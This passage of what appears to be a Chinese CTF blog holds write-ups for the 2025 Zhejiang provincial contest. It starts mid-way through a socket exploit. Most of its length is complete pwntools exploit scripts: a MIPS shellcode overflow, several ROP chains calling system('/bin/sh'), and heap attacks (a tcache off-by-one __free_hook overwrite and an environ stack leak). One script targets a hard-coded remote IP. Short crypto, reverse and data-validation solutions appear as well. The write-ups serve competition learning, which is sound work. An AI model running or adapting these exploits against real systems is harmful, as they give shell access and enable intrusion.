 time.sleep(1) # 等待服务端绑定端口
 server_proc.interactive()
 return

 ("--- Starting Sequential Exploit ---")

 # 1. 建立连接并制造竞态/溢出环境
 # [s1] fd=4: 发送长度头，然后挂起
 s1 = start_con()
 time.sleep(0.1)

 # [s2] fd=5: 准备覆盖
 s2 = start_con()

 VIO_TEXT("Sending size header to s1...")
 s1.send(p64(0x100))
 time.sleep(0.25) # 必须等待，确保 s1 的线程进入 read(fd, buf, size) 状态

 VIO_TEXT("Sending payload via s2...")
 s2.send(p64(0x100))
 # s2 发送 payload 覆盖s1的fd
 s2.send(b"\x00" * 0x7C + p32(4))
 time.sleep(0.5)
 # stop("send data from s2")

 # 由于socket的分配机制，这里实际分配到的仍然是供给s2的fd，但是不是4，作为缓冲
 s3 = start_con()
 time.sleep(0.1)
 # stop("get a new fd")

 # fd=4 被重用: 用来接收 Leak
 s4 = start_con()
 time.sleep(0.1)

 VIO_TEXT("Triggering leak via s4...")
 s4.send(p64(0x100))
 s4.send(b"\x00" * 0x7C + p32(1))
 time.sleep(0.25)

 # 2. 触发 RST 以激活漏洞/错误路径
 # 这里设置SOLSOCKET为SO_LINGER 并关闭 s1，会导致发送 RST 包
 # l_onoff = 1
 # l_linger = 0
 # 这里可以写struct.pack("ii", l_onoff, l_linger) 在64位机器上通常是 8 字节，符合 p32(1)+p32(0)
 s1.sock.setsockopt(
 socket.SOL_SOCKET, socket.SO_LINGER,p32(1)+p32(0)
 )
 s1.sock.close()
 CLEAR_TEXT("s1 closed with RST")

 # 3. 接收并解析 Leak 数据
 # 服务端会将栈上0x100字节数据发送回来，其中包含了 Canary 和 libc 地址
 try:
 leak_data = s4.recv(0x100)

 # stop("fd 4-->1")
 if len(leak_data) < 0x90:
 log.error(f"Leak failed, received len: {len(leak_data)}")
 return

 canary = u64(leak_data[0x48:0x50])
 CLEAR_TEXT(f"Canary: {hex(canary)}")

 elf_base = u64(leak_data[0x58:0x60]) - 0x147e
 CLEAR_TEXT(f"ELF Base: {hex(elf_base)}")

 libc_base = u64(leak_data[0x88:0x90]) - 0x9c720 - 900
 CLEAR_TEXT(f"Libc Base: {hex(libc_base)}")
 libc.address = libc_base

 except EOFError:
 log.error("Unexpected EOF during leak")
 return

 # 4. Get Shell 
 # 通过覆盖实现 关闭 fd 0 和 1 
 s_temp = start_con()
 s_temp.send(p64(0x100))
 s_temp.send(b"\x00"*0x7c + p32(0))
 time.sleep(0.1)
 s_temp.close() # 保持连接

 s_temp2 = start_con()
 s_temp2.send(p64(0x100))
 s_temp2.send(b"\x00"*0x7c + p32(1))
 time.sleep(0.1)
 s_temp2.close()

 # 服务端重新accept了连接分配到了 fd=0, fd=1
 # 这样我们就能控制 stdin/stdout
 ret_addr=elf_base+0x101a,
 stdin_sock = start_con()
 stdout_sock = start_con()

 VIO_TEXT("Sending ROP chain...")

 payload = b"A" * 0x48
 payload += flat([
 canary,
 0xdeadbeef,
 libc.search(asm('pop rdi; ret')).__next__(),
 libc.search(b"/bin/sh").__next__(),
 ret_addr,
 libc.sym['system']
 ])
 stdin_sock.send(p64(len(payload)))
 time.sleep(0.1)
 stdin_sock.send(payload)

 time.sleep(0.1)
 stdin_sock.sendline(b"ls")
 print(stdout_sock.recv(4096))
 def listner():
 while True:
 try:
 print("\n")
 data = stdout_sock.recv(4096)
 if data:
 sys.stdout.buffer.write(data)
 sys.stdout.flush()
 except exception:
 pass
 t=threading.Thread(target=listner,daemon=True)
 t.start()
 while True:
 cmd = input("[nan0in27 sh]$ ")
 stdin_sock.sendline(cmd.encode())
 # print(stdout_sock.recv().decode(errors='ignore'))

if __name__ == "__main__":
 main()

still in updating

2025浙江省网络与信息安全决赛WP

Tue, 18 Nov 2025 16:06:00 +0000

前言

本次比赛与Vortex 和mak4r1 一起完成！感谢拼尽全力的两位师傅！

pwn第一题没有mips环境导致很快写完了却没法汇编shellcode，第二题又因为中途太紧张了分析成了依托，实际上逻辑盘的也差不多了，但是比赛为了其他方向的分又没专心做… 导致最后仅仅差了10分与省一，教训就是一定要稳住心态，也不能因为分数的变动和排名的摇摆而出现心态的恍惚… 总之好好吸取教训

2025省赛决赛

misc

misc1

十六进制中有换表base, 用7z打开末尾的附加文件可以看到flag.txt:c.txt

解密flag即可

pwn（仅复现）

mips

保护

一个mips异构的pwn

qemu进行运行

会

给出一个v1的地址，可以栈溢出

ra会放返回地址

实际上是有假canary的，可以溢出到返回地址

要把这一行原本的arm64改为arm才能出gadget

此处read溢出到返回地址

拿python生成一下shellcode，栈是可执行的！可以直接写shellcode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument(
 "mode",
 type=int,
 choices=[0, 1, 2],
 nargs="?",
 default=0,
 help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = "mips"
local_addr = "localhost"
local_port = "1234"
remote_addr = "10.1.100.100"
remote_port = "9999"
context.terminal = ["tmux", "splitw", "-h"]

context(log_level="debug", os="linux", arch=arch,endian="big")

def VIO_TEXT(x, code=95):
 return log.info(f"\x1b[{code}m{x}\x1b[0m")

def CLEAR_TEXT(x, code=32):
 return log.success(f"\x1b[{code}m{x}\x1b[0m")

if args.mode == 0:
 io = process(['qemu-mips','-g','1234','./pwn']) #在另一个终端起gdb运行交互
 # gdb.attach(io,gdbscript="""
 # set architecture mips
 # target remote:1234
 # """)
elif args.mode == 1:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)

io.sendline(b"255")
io.recvuntil(b"gift: ")
stack_addr= int(io.recvuntil(b"\n",drop=True),16)
VIO_TEXT("Stack address leak: "+hex(stack_addr))
shellcode=asm("""
 lui $t7, 0x2f2f
 ori $t7, $t7,0x6269
 lui $t6, 0x6e2f
 ori $t6, $t6, 0x7368
 sw $t7, -12($sp)
 sw $t6, -8($sp)
 sw $zero, -4($sp)
 addiu $a0, $sp, -12
 slti $a1, $zero, -1
 slti $a2, $zero, -1
 li $v0, 4011
 syscall
""")
CLEAR_TEXT("Shellcode length: "+str(len(shellcode))+" bytes")
payload = cyclic(40+4)+p32(stack_addr+40+4)+shellcode #0覆盖返回地址,ja跳转到stack_addr+0x48即shellcode起始位置
io.sendline(payload)
io.interactive()

calc

保护

由于实现了一个stack，在这片空间上我们可以利用操作符进行溢出，但是只能输入一次，要精心构建payload，如果我们++两次，那么就会直接触发到canary从而stack smashed

我们没有输入的时候可以看到在最后退出的时候如上正常返回

如果输入一个+的情况下会因为多清理一次栈而导致变为0从而指向0-8，这时候需要回去看具体的逻辑才可以。难受的是符号全剥去了，不过好在结构体还比较好逆，实际上程序模拟实现了两个栈，分别装载操作数和操作符

程序还原

逆向完后主要有的函数为:

操作数的出入栈操作符的出入栈以及查看当前栈顶操作符

在push和pop的部分存在漏洞

vuln

push部分对于操作数栈的sp的类型转换为int, 因此可以实现负数的绕过

而pop部分始终会执行–的操作，即使检查无法通过也不会报错，这就导致可以正常返回，从而覆盖到栈上的信息，而在进入函数之前刚好就是0，所以我们直接输入+的话，就会如下图

如图，pop导致对数值的清空，从而直接将0写到了返回地址，同理如果输入两个++

canary也直接变为了0

那么就有如下的构建执行链的思路

通过one_addr++，这种情况下数字进入实现push, 而++会pop两次，从而-1就写到了返回地址，比如12345++
然后如何构建链条呢？注意到程序里是有符号优先级的
并且符号)的处理也存在大问题，正常的解决括号顺序应该就是遇到)的时候往前组合存在的式子，然后直到遇到(的时候把其pop出来; 但是看到下图

遇到)的时候，实际上陷入到了while(1)循环当中，v11由上一次的Peek得到，若为(则会继续走pop分支

这就给了我们继续往下写的一个思路，我们的程序在检测完前面的首先不能让括号里的内容为空，随便放一个数字进去，诶这个时候有人就要问了，那如果后面的先进行了怎么让-1的覆盖和rop链共存呢？这个可以根据具体的位置进行调试，当然我对payload也画了具体构架的思路

按照逻辑，直到遇到之前的++我们的while都不会退出，伴随着(我们的地址进入栈中，但注意此时还是没有覆盖到返回地址的，准备好之后最后再执行到ret++的部分，此时不就实现了-1开始的链条覆盖了吗？

那么就可以构建出如下的exp

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument(
 "mode",
 type=int,
 choices=[0, 1, 2],
 nargs="?",
 default=0,
 help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = "amd64"
remote_addr = ""
remote_port = ""


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]

def VIO_TEXT(x, code=95):
 return log.info(f"\x1b[{code}m{x}\x1b[0m")

def CLEAR_TEXT(x, code=32):
 return log.success(f"\x1b[{code}m{x}\x1b[0m")

if args.mode == 0:
 io = process(filename)
 print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
 io = process(filename)
 gdb.attach(
 io,
 gdbscript="""
 b *0x40230B
 """,
 )
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename,checksec=False)
libc = ELF(libc_name,checksec=False)

def chain(addr1:bytes,addr2:bytes,addr3:bytes,addr4:bytes):
 payload=addr1+b"++"
 payload+=flat(addr2,b"*(",addr3,b"*(",addr4,b"*(1)")
 return payload

# leak libc
ret_addr= 0x40101a
pop_rdi_ret=0x402330
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
payload=chain(str(pop_rdi_ret).encode(),str(puts_got).encode(),str(puts_plt).encode(),str(0x401535).encode())
io.sendlineafter(b"input:\n",payload)

# rop 
io.recvuntil(b"1\n")
leak = u64(io.recv(6).ljust(8,b"\x00"))-0x84420
VIO_TEXT(f"leak puts addr: {hex(leak)}")

system_addr=leak+libc.symbols['system']
binsh_addr=leak+next(libc.search(b"/bin/sh"))
payload=chain(str(ret_addr).encode(),str(pop_rdi_ret).encode(),str(binsh_addr).encode(),str(system_addr).encode())
io.sendlineafter(b"input:\n",payload)
io.interactive()

‍

only_one

保护：

有增删和一次free

glibc为2.31

delete会清零指针，无uaf

add会检测chunk_ptr指向的地方有无堆块存在，index不能写负数，所以改不到负数的结构体？

跟预赛好像是类似的，最多20次申请，size小于0x100, 那么就是unsorted bin和tcache bin的利用

但是有一次不清理指针的free来进行唯一double free

来不及写

crypto

rsa

给出了diff和sum，根据diff和sum可以求出p,q。之后就是正常RSA

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


from z3 import *
from Crypto.Util.number import *

# 已知值
sum_pq = 15870713655456272818998868095126610389501417235762009793315127525027164306871912572802442396878309282140184445917718237547340279497682840149930939938364752
diff_pq = 836877201325346306269647062252443025692393860257609240213263622058769344319275021861627524327674665653956022396760961371531780934904914806513684926008590
e = 65537
c = 24161337439375469726924397660125738582989340535865292626109110404205047138648291988394300469831314677804449487707306159537988907383165388647811395995713768215918986950780552907040433887058197369446944754008620731946047814491450890197003594397567524722975778515304899628035385825818809556412246258855782770070

# 声明两个整数变量
p, q = Ints('p q')

# 建立约束方程
s = Solver()
s.add(p + q == sum_pq)
s.add(p - q == diff_pq)

# 求解
if s.check() == sat:
 model = s.model()
 p_val = model[p].as_long()
 q_val = model[q].as_long()
 print(f"p = {p_val}")
 print(f"q = {q_val}")

 # 构造 n 和 phi
 n = p_val * q_val
 phi = (p_val - 1) * (q_val - 1)

 # 计算私钥 d
 d = inverse(e, phi)

 # 解密
 m = pow(c, d, n)
 flag = long_to_bytes(m)
 print(f"flag = {flag}")
else:
 print("No solution found.")

数据安全

check1

检验方法均已给出，根据检测方式进行提取编写：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95


import re
import csv
from datetime import datetime

# 身份证校验码算法
def validate_id_card(id_card):
 if len(id_card) != 18:
 return False
 if not re.match(r'^\d{17}[\dXx]$', id_card):
 return False

 # 校验码算法
 weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
 check_codes = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']
 sum_val = sum(int(id_card[i]) * weights[i] for i in range(17))
 check_code = check_codes[sum_val % 11]
 return id_card[-1].upper() == check_code

# 验证手机号
def validate_phone(phone):
 return re.match(r'^1\d{10}$', phone) is not None

# 验证姓名（2~4个汉字）
def validate_name(name):
 return re.match(r'^[\u4e00-\u9fa5]{2,4}$', name) is not None

# 验证出生日期是否与身份证一致
def validate_birth_date(id_card, birth_date):
 try:
 birth_str = id_card[6:14]
 expected = datetime.strptime(birth_str, '%Y%m%d').strftime('%Y-%m-%d')
 return expected == birth_date
 except:
 return False

# 验证性别是否与身份证一致
def validate_gender(id_card, gender):
 try:
 gender_digit = int(id_card[16])
 if gender_digit % 2 == 0:
 expected = '女'
 else:
 expected = '男'
 return gender == expected
 except:
 return False

# 主函数
def process_users(data_file, output_file):
 valid_users = []

 with open(data_file, 'r', encoding='utf-8') as f:
 reader = csv.reader(f)
 next(reader) # 跳过标题行
 for row in reader:
 if len(row) < 8:
 continue
 cust_id, name, id_card, gender, phone, birth_date, reg_time, login_time = row

 # 各项验证
 if not validate_id_card(id_card):
 continue
 if not validate_gender(id_card, gender):
 continue
 if not validate_birth_date(id_card, birth_date):
 continue
 if not validate_phone(phone):
 continue
 if not validate_name(name):
 continue

 # 时间逻辑验证
 try:
 birth_dt = datetime.strptime(birth_date, '%Y-%m-%d')
 reg_dt = datetime.strptime(reg_time, '%Y-%m-%d %H:%M:%S')
 login_dt = datetime.strptime(login_time, '%Y-%m-%d %H:%M:%S')

 if birth_dt >= reg_dt or reg_dt > login_dt:
 continue
 except:
 continue

 valid_users.append(row)

 # 写入结果文件
 with open(output_file, 'w', newline='', encoding='utf-8') as f:
 writer = csv.writer(f)
 writer.writerow(['客户ID', '姓名', '身份证号', '性别', '手机号', '出生日期', '注册时间', '最后登录时间'])
 writer.writerows(valid_users)

 print(f"共提取出 {len(valid_users)} 条合规数据，已保存到 {output_file}")

# 示例调用
if __name__ == "__main__":
 process_users("users.csv", "valid_users.csv")

最后提取出文件

‍

reverse

天命人

根据算法dump出解密即可

1
2
3
4
5
6


cipher = [0x44,0x40,0x51,0x40,0x50,0x43,0x7d,0x3e,0x38,0x6c,0x3a,0x3f,0x3e,0x6f,0x38,0x6d,0x23,0x21,0x24,0x20,0x2d,0x74,0x20,0x74,0x2c,0x2f,0x2e,0x28,0x25,0x25,0x78,0x2d,0x12,0x43,0x44,0x47,0x10,0x15,0x40,0x5a]

flag = []

for i in range(0, len(cipher)):
 print(chr(cipher[i] ^ i),end='')

Androidtest

fridahook字符串得到换过表的base64
lib中可以看到ret_str函数, 从中dump出数据换表后异或即可

1
2
3
4
5
6


Java.perform(function() {
    var MainActivity = Java.use("com.example.myapplication.MainActivity")

    var str = MainActivity.z;
    console.log("str is:" + str);
})

ABCDEFGHIJKLMNOPQRSTUVWXYZ234567=
用cyberchef解密即可

DASCTF{android_anti_and_test_is_interesting}

AI

dog

肉眼一张一张看过去的

26c39cf8-55fb-4899-82bc-442cf4627d95.jpg+6e17fffa-b696-4769-9b43-e0f453f8098d.jpg+7a19da17-9f4a-411b-bac7-83d2454d868a.jpg+897a3a87-dfcf-4233-8097-6bba2e6507ba.jpg+c6b1099a-d626-4cbd-94fc-32aa46ffb02b.jpg+d5117480-7943-48f8-9e79-67fdd51092d2.jpg
然后md5计算

‍

2025浙江省网络与信息安全预赛pwn复盘

Sat, 08 Nov 2025 21:14:00 +0000

2025省赛

pwn

rop

保护，没有开启PIE

程序剥离了符号

在输入数字的地方会把字符转化为longlong

并且没有检测负数，可以用于泄漏地址

似乎存在一个函数可以往eax里写入极大数字

output会在输出内容后将该位置内容重新设置为0

打入-3即可泄漏canary，会清0导致EOF

但是可以绕过canary吧，这样就能构建ROP链了，有没有办法写到*(a1+72)呢

注意到v2<=9都可以输入，那么不是刚好可以写入到a1+72吗？那将a1+72篡改到-1后输入rop链条是否可以

因此我们先leak出残留在栈上中的一个libc后，将rop链条写到数组里，最后将-1覆盖为ret执行ROP即可（不用leak canary)

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc-2.31.so"
arch = 'amd64'
remote_addr = "45.40.247.139"
remote_port = "30141"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return log.info(f"\x1b[{code}m{x}\x1b[0m")


def CLEAR_TEXT(x, code=32):
 return log.success(f"\x1b[{code}m{x}\x1b[0m")


io = None
if args.mode == 0:
 io = process(filename)
 print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *0x40144B
 b *0x401466
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def get_64():
 return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))

def cmd(num):
 sla(b">>", str(num).encode())

def input(num):
 sla(b">>", b"1")
 sla(b"number:", str(num).encode())

def output(idx):
 sla(b">>", b"2")
 sla(b"index:",str(idx).encode())

def exit():
 sla(b">>", b"3")

for i in range(9):
 input(1)

# -1的时候刚好可以改到retaddr
input(0)


output(-13)
ru(b"your number:\n")
puts_leak=int(rl(drop=True),10)
libc_addr=u64(p64(puts_leak))-0x8459a
VIO_TEXT(f"libc_addr: {hex(libc_addr)}")

one_gadgets=[0xe3afe,0x3eb01,0xe3b04]
one_gadget=libc_addr+one_gadgets[2]
VIO_TEXT(f"one_gadget: {hex(one_gadget)}")

# pop_rdi_ret=libc.address+next(libc.search(asm('pop rdi; ret')))
pop_rdi_ret=0x401563
binsh_addr = libc_addr+ next(libc.search(b"/bin/sh\x00"))
system_addr=libc_addr+libc.sym['system']

ret_addr=0x40101a

# input(one_gadget)

input(pop_rdi_ret)
input(binsh_addr)
input(system_addr)
for i in range(9-3):
 input(1)
input(-2)
input(ret_addr)

ia()

one

程序员在为新能源汽车编写程序时犯了一个致命的错误，你能帮他找出来吗？

保护全开

设置好login登录后是一个指令程序

增删改测试和退出

删除会检查链表是否为空以及v1是否大于8, 防止double free和越界，并且对指针进行了置空，无法UAF，并且转化为了unsigned long long, 无法负数访问

同样其他几个函数也没有对应的检测到负数

来看cre4t函数

edit函数也差不多

‍

v1的范围在0到8之间，我们最多能分配9个堆块

create的read

test的read可以多读取一个字节，可以打off by one

先控制unsorted bin, 通过fd泄漏出libc地址

题目没有给出libc, 但是strings可以找到

ubuntu 18.04–>glibc2.27

自行进行patchGNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.

首先要构造堆风水实现overlapping（通过off by one），然后将__free_hook写入

问题在于要打掉什么地址写入_free_hook，我们没有uaf，chunk数量也有限难以走非tcache打法以及控制unsorted bin

那我们就打tcache bin的off by one，布置4个chunk

先释放出两个chunk进入tcache bin来链入两个chunk，

‍

此时我们从伪造的overlapping chunk的部分开始写可以写入到下方0x40的tcache bin的内容，我们便可以在此时写入一个__free_hook，最后再申请两次，就可以拿freehook写了

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152


import argparse
import sys

from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument(
 "mode",
 type=int,
 choices=[0, 1, 2],
 nargs="?",
 default=0,
 help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = "amd64"
remote_addr = ""
remote_port = ""


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return log.info(f"\x1b[{code}m{x}\x1b[0m")


def CLEAR_TEXT(x, code=32):
 return log.success(f"\x1b[{code}m{x}\x1b[0m")


io = None
if args.mode == 0:
 io = process(filename)
 print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
 io = process(filename)
 gdb.attach(
 io,
 gdbscript="""
 """,
 )
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains

def cmd(idx):
 sl(str(idx).encode())


def create(idx, size, content):
 cmd(1)
 sla(b"command?", str(idx).encode())
 sla(b"command?", str(size).encode())
 sla(b"command?", content)
 sleep(0.1)


def edit(idx, content):
 cmd(4)
 sla(b"one?", str(idx).encode())
 sla(b"change?", content)


def test(idx):
 cmd(3)
 sla(b"one", str(idx).encode())
 return ru(b"Finish!", drop=False)


def delete(idx):
 cmd(2)
 sla(b"one?", str(idx).encode())


# auto login
ru(b"rebot.\n")
data = (rl(drop=True).split(b" ")[-1].replace(b"?", b"").replace(b"=", b"")).decode()
print(data)
sl(str(eval(data)).encode())

# test create
size1 = 0x38
pay1 = b"aaaa"
# leak libc with unsoreted bin
create(8, 0x410, pay1)
create(7, size1, pay1) # avoid consolidation
delete(8)
create(8, 0x410, b"1") # leak the fd pointer

data = u64(p64(u32(test(8)[4:8]) << 16).ljust(8, b"\x00")) # creating will show information of remained pointer
VIO_TEXT(f"leak libc addr: {hex(data)}")
libc.address = data - 0x3E0000
VIO_TEXT(f"system addr: {hex(libc.symbols['system'])}")
# print(hexdump(data))

# try to layout heap and make overlap
for i in range(4):
 create(i, size1, pay1)

# pause()
delete(3)
delete(2) # 2->3 tcache

edit(0, b"/bin/sh\x00".ljust(0x38, b"\x00") + p8(0x81)) # off by one to 2
delete(1) # 1 and 2 are all in one bin now

create(
 1,
 0x78,
 flat(
 {
 0x30:[
 0,
 0x41,
 libc.symbols["__free_hook"],
 ]
 },
 filler=b"\x00",
 ),
)

# 2->3 has been changed to 2->__free_hook

create(5,size1,pay1) # let 2 out
create(6,size1,p64(libc.symbols["system"])) # overwrite __free_hook with system 
delete(0) # trigger system("/bin/sh")
ia()

‍

bad_heap

禁止在libc中的堆

保护全开

有增删查三项的菜单堆

增，题目含义体现在这里，如果堆空间分配到了libc地址上程序直接退出

版本是glibc2.35

删，存在uaf

查，正常的打印内容，但是因为uaf可以打印free的区域内容

那就不能劫持IO_list_all了，有uaf可以先尝试overlapping写，可以分配到21个chunk，足够了

先通过uaf leak libc和heap key来使得可以写入合理地址到堆

然后构造overlapping，想办法劫持fd到environ从而Leak stack地址后再通过布置堆空间劫持返回地址到rop链

看到也有走house of botcake打libc泄漏的，不过感觉好像不用也没问题

‍

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147


import argparse
import sys

from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument(
 "mode",
 type=int,
 choices=[0, 1, 2],
 nargs="?",
 default=0,
 help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = "amd64"
remote_addr = ""
remote_port = ""


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return log.info(f"\x1b[{code}m{x}\x1b[0m")


def CLEAR_TEXT(x, code=32):
 return log.success(f"\x1b[{code}m{x}\x1b[0m")


io = None
if args.mode == 0:
 io = process(filename)
 print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
 io = process(filename)
 gdb.attach(
 io,
 gdbscript="""
 """,
 )
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def cmd(idx):
 sla(b"choice:\n", str(idx).encode())


def add(idx, size, content):
 cmd(1)
 sla(b"idx:\n", str(idx).encode())
 sla(b"size:\n", str(size).encode())
 sa(b"content:\n", content)


def delete(idx):
 cmd(2)
 sla(b"idx:\n", str(idx).encode())


def show(idx):
 cmd(3)
 sla(b"idx:\n", str(idx).encode())


for i in range(10):
 add(i, 0x100, b"a")

for i in range(7):
 delete(i) # fill tcache 0-6 

show(0)
key = u64(rc(8)) # leak heapbase key 
VIO_TEXT(f"key: {hex(key)}")

delete(8)
delete(7) # 合并到unsorted bin
show(7) # unsorted bin leak libc
libc.address = u64(rc(8)) - 0x21ACE0
VIO_TEXT(f"libc.address: {hex(libc.address)}")

for i in range(6):
 add(i, 0x100, b"aaaa") # fill tcache 6

add(7, 0x120, b"aaaa") # 7 but overlapping 8
add(10, 0xE0, b"aaaa") # 8 & 10

delete(0)
delete(8)
delete(7)

add(
 7, 0x120, b"\x00" * 0x108 + p64(0x111) + p64((libc.sym['environ'] - 0x10) ^ key)
) # write in environ to fd，由于overlapping,实际写入到8中 tcache取head,-0x10

add(8, 0x100, b"aaaa")

add(11, 0x100, b"a" * 0x10)
show(11)
ru(b"a" * 0x10)
stack = u64(rc(8)) - 0x148
VIO_TEXT(f"stack: {hex(stack)}") # leak stack and get the ret_addr

system_addr = libc.sym['system']
ret_addr = libc.address + 0x29139
binsh_addr = next(libc.search(b"/bin/sh\x00"))
pop_rdi = libc.address + 0x2A3E5
payload = flat(pop_rdi, binsh_addr, ret_addr, system_addr)

delete(1) #avoid consolidation
delete(8)
delete(7)
pause()
add(7, 0x120, b"\x00" * 0x108 + p64(0x111)+p64((stack) ^ key)) # write in ret_addr to fd

add(1,0x100,b"aaaa")
pause()
add(8,0x100,b'a'*8+payload) # overwrite ret_addr with ROP chain

ia()

FILE101

Thu, 23 Oct 2025 19:26:00 +0000

分析

保护如上给出了源码main.c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


